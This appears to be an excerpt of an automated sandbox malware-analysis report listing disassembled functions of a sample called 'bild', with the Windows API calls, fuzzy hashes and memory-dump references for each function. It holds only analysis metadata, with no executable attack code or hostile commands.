Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: 84de3e9765d3447a8351f1b6b6d8569fbb25dc0ee6f9e080ef7528236ef5d75a
Instruction ID: d2f0b82a95d6fc878682dccaf19b7a180456f678ee46f3fe844c8dbdc6f5fb44
Opcode Fuzzy Hash: 84de3e9765d3447a8351f1b6b6d8569fbb25dc0ee6f9e080ef7528236ef5d75a
Instruction Fuzzy Hash: C9E001B1A11B248FC3B4CF3AA844642FAF0BB18A103118A3ED4AEC3A00E330A5448F80

Function 11014F80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll,00000000,1102EF80,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 11014F8E

Strings

nslsp.dll, xrefs: 11014F83

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: 09252c17772e29db9c623e4f38910c48fc62fdaa09ce42d8982732414e450a92
Instruction ID: 60eb6736f29bf142f24d4cfcc231741db50fe0cc1946b431100be770a733e412
Opcode Fuzzy Hash: 09252c17772e29db9c623e4f38910c48fc62fdaa09ce42d8982732414e450a92
Instruction Fuzzy Hash: E7C092B17152388FE3685F7CAC085D2FAE4EB48A91351986EE4B5D3308E6B09C40CFE4

Function 11074DC0 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11074E1F
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,11194245,?), ref: 11074E89

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: f6776980cd6796a903c6ab2b2bc3f730c5ac8cd4990655cc289426affdaed8f3
Instruction ID: 144a06a128bfe4de4bcaa8ee3b5ec3a734aa963de7831f9780c3e5d6e94517af
Opcode Fuzzy Hash: f6776980cd6796a903c6ab2b2bc3f730c5ac8cd4990655cc289426affdaed8f3
Instruction Fuzzy Hash: 6E218376D04228A7D710DA99EC41FEFFBACEB44325F4045AAE909D7200D7315A55CBE1

Function 110883D0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110883EF
InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,11070993,00000000,00000000,1118201E,000000FF), ref: 11088460

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: 26224d68f3b9d4a1246f00074b5df241b75f7fb3c3b45871788fd623fb5031c3
Instruction ID: 54b2584c526ac61f8aa3306390e259e673957fd90be6398fea32980b523eb801
Opcode Fuzzy Hash: 26224d68f3b9d4a1246f00074b5df241b75f7fb3c3b45871788fd623fb5031c3
Instruction Fuzzy Hash: EE1157B0911B148FC3A4CF7A88817C7FBE5BB58310F80892E96EEC2200DB716664CF94

Function 11144440 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11144461
ExtractIconExA.SHELL32(?,00000000,000A044F,00040473,00000001), ref: 11144498

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 332011ad7d7a15df78cd41dd82658ea2b53a242fc2ea7d2347e2db9624e2eb71
Instruction ID: eab236796224ce85d4984e15688285b8376dcc0e4438f4162dfbb4c1a1faa056
Opcode Fuzzy Hash: 332011ad7d7a15df78cd41dd82658ea2b53a242fc2ea7d2347e2db9624e2eb71
Instruction Fuzzy Hash: 3EF0F0787581189FE708DFA0C892FF9B369F794709F444269E912C6184CE706A4C8B51

Function 11163DB7 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

__lock_file.LIBCMT ref: 11163DFE

Part of subcall function 1116AF99: __lock.LIBCMT ref: 1116AFBE

__fclose_nolock.LIBCMT ref: 11163E09

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 7e8abcb520b3f17e3ade4ddc40c81544b3d820678823afdad6ab473755d4e59e
Instruction ID: 92e00479c768bfe57184568fb50af5c8f285ad3b4a4164507b2fffc520e9ca87
Opcode Fuzzy Hash: 7e8abcb520b3f17e3ade4ddc40c81544b3d820678823afdad6ab473755d4e59e
Instruction Fuzzy Hash: 5CF0F6348143079ED7119B79D80078EFBA86F0033CF518248C0289A0C0CBFA6521CE56

Function 11144EA0 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11144DC0: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,NSM.LIC), ref: 11144DE7

Part of subcall function 11163FED: __fsopen.LIBCMT ref: 11163FFA

GetLastError.KERNEL32(?,0262B878,000000FF,?), ref: 11144ED5
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,0262B878,000000FF,?), ref: 11144EE5

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: 31fc0bde93ac12b3b57265c96de8f634bcc1559677f471cf9725baf87a88f7fc
Instruction ID: cc8fd34c32098476147d622d57126809c91a32baa97f0e350d3592d26a0b2836
Opcode Fuzzy Hash: 31fc0bde93ac12b3b57265c96de8f634bcc1559677f471cf9725baf87a88f7fc
Instruction Fuzzy Hash: 8D110875D4411AEBD7119F94C9C4A6EF3BCEF85A29F200164FC0497A00E775AD11C7A3

Function 110106C0 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010774

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: b33c3b2a793c511d1b6f960a0ad5a8f3eee08100d5ee20f4381cce5b941f1766
Instruction ID: 0f97abe7109b731a14a0a5233c6982db04001c22e931a1e4a38e375530e3522e
Opcode Fuzzy Hash: b33c3b2a793c511d1b6f960a0ad5a8f3eee08100d5ee20f4381cce5b941f1766
Instruction Fuzzy Hash: D9515D74E00645DFDB04CF98C980AADBBF5BF88318F24829DD5869B385C776E942CB90

Function 11143000 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110F4CB,75BF8400,?,?,1114515F,00000000,CSDVersion,00000000,00000000,?), ref: 11143020

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c6c1c190ce3e4d21182f90f0e4bfd6bcd18f91cafc0a2026145ecac98104bfaa
Instruction ID: 1cdda14904265755d753c391d3c49599355d775305d59026304f2c7825c43cec
Opcode Fuzzy Hash: c6c1c190ce3e4d21182f90f0e4bfd6bcd18f91cafc0a2026145ecac98104bfaa
Instruction Fuzzy Hash: 5D1193716282655AEB218E14D690BAFFBAAEFC5B24F30836AE51547E04C3329886C750

Function 110FACC0 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,?), ref: 110FACED

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: e293ede8765d0badea50781af9c0a4ddb492315e77c2591cd008e5b0916e1792
Instruction ID: 5942e99df11cc5ddd12142181c934b3f7ef04b83757ceed83c361bf33f076152
Opcode Fuzzy Hash: e293ede8765d0badea50781af9c0a4ddb492315e77c2591cd008e5b0916e1792
Instruction Fuzzy Hash: 8911AC71E1011DDBDB11DFA8DC557EE73F8DB58305F0041D9E9099B240DA71AE488B90

Function 11170166 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,110310DF,00000000,?,11169DD4,?,110310DF,00000000,00000000,00000000,?,1116B767,00000001,00000214,?,1110F4AE), ref: 111701A9

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 5fa111ebdd6cb86adb28227364e3270cd3b42bcfca1d5c7b723611f66f651fb7
Instruction ID: 37eba9f6ddbe8283f17829f7b0a109b8136aa2f13792341ea1fc2e0acbbf6d66
Opcode Fuzzy Hash: 5fa111ebdd6cb86adb28227364e3270cd3b42bcfca1d5c7b723611f66f651fb7
Instruction Fuzzy Hash: 590124392013669BEB099F25EC60B5BB799AB83365F014529EC15CA3C0DB70D900C340

Function 111672E3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 111672EE

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: b67d37eb909022d12c4b3a5208e3be1f16578853890f7fcac85d973ba88585e6
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: C5C09B3705811D7F5F055DE5EC00C557F5DD6806747148156F91C89590DD73E561D540

Function 11163FED Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11163FFA

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: 3fb95567750ac4c2837cb65daf82bfaf3169cdeaa60eaf7921ceae4fe4d00650
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 76C0927645424C77DF112A82EC02E4A7F2E9BC0668F448060FB1C19160AAB3EA71DACA

Function 00B11000 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_NSMClient32@8.PCICL32(?,?,?,00B110A2,00000000), ref: 00B1100B

Memory Dump Source

Source File: 00000001.00000002.4167825002.0000000000B11000.00000020.00000001.01000000.00000008.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.4167804848.0000000000B10000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.4167843040.0000000000B12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_bild.jbxd

Yara matches

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction ID: 4ec7688375dc81b85a3fd0ba898647fbd3aa7d4e788bfd2e596bf13f4ac2f26c
Opcode Fuzzy Hash: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction Fuzzy Hash: 27B092B251434D9B8714EE98E845CBB33DCAA98600B400809BE0543282CA61FCA09671

Function 6C971E1C Relevance: 1.3, APIs: 1, Instructions: 32sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6C9709A9: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6C971E32,00000001,?,00000000,00000000,00000000,?,6C9975BC,00000001,00000214), ref: 6C9709E8

Sleep.KERNEL32(00000000), ref: 6C99F1D1

Memory Dump Source

Source File: 00000001.00000002.4170524693.000000006C961000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000001.00000002.4170510366.000000006C960000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170588221.000000006CA14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170605422.000000006CA16000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170622438.000000006CA19000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c960000_bild.jbxd

Similarity

API ID: AllocateHeapSleep
String ID:
API String ID: 4201116106-0
Opcode ID: 5721f2e809c671462517d0942ae611814f796fea76f8131e53dc28eec5528502
